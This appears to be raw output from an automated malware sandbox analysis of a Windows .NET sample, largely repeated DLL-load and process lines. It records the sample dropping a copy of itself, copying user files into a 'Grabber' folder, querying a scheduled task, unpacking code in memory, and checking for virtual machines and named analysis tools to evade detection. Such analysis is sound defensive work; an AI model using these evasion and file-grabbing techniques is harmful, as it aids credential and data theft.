Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

File written: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: HTZ4az17lj.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: HTZ4az17lj.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: HTZ4az17lj.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: HTZ4az17lj.exe, Type_9.cs	.Net Code: Method_42 System.AppDomain.Load(byte[])
Source: HTZ4az17lj.exe, Type_9.cs	.Net Code: Method_42
Source: uuhbr0xg.h20.exe.0.dr, Type_9.cs	.Net Code: Method_42 System.AppDomain.Load(byte[])
Source: uuhbr0xg.h20.exe.0.dr, Type_9.cs	.Net Code: Method_42

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F2217C pushad ; iretd	0_2_00007FF848F22183
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F1D1C8 push ebx; retf 0001h	0_2_00007FF848F1D1EA
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F1ED8A push eax; retf	0_2_00007FF848F1ED8B
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F16DA0 push eax; iretd	0_2_00007FF848F16DAD
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Code function: 11_2_00007FF848F16DA0 push eax; iretd	11_2_00007FF848F16DAD

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

File created: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HOOKEXPLORER.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: REGMON.EXE
